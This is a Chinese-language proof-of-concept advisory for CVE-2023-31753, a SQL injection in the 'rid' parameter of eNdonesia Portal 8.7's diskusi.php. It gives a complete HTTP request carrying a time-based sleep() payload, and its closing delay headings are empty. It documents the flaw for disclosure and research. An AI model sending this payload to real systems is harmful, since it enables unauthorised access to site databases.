CVE-2023-31753

CVE-2023-31753 的概念验证

描述：在 eNdonesia Portal v8.7 中发现了一个 SQL 注入漏洞，通过在 diskusi.php 的 "rid" 参数中插入精心构造的有效载荷可加以利用。

• 漏洞标题：eNdonesia Portal 8.7 - diskusi.php 中的 SQL 注入漏洞（rid 参数）
• 日期：2023年5月19日
• 漏洞作者：Kunal Khubchandani
• 厂商主页：http://www.endonesia.org/
• 软件链接：https://sourceforge.net/projects/endonesia/
• 版本：8.7
• 类别：Web 应用
• 测试环境：WiN11_x64/KaLiLinuX_x64
• CVE：CVE-2023-31753

#POC:

1. 要利用此漏洞，需在以下 HTTP 请求中将 SQLi 延时有效载荷作为 "rid" GET 参数的值发送。

2. 存在漏洞的请求：

GET /endonesia.8.7.en/mod.php?mod=diskusi&op=delres&rid=(select*from(select(sleep(20)))a) HTTP/1.1
Host: TARGET
Accept-Encoding: gzip, deflate
Accept: /
Accept-Language: en-US;q=0.9,en;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.5615.50 Safari/537.36
Connection: close
Cache-Control: max-age=0

3. 通过 Burp Suite 发送上述 HTTP 请求后，用户将收到一个 20 秒的延迟响应。

** 20秒延迟：

** 30秒延迟：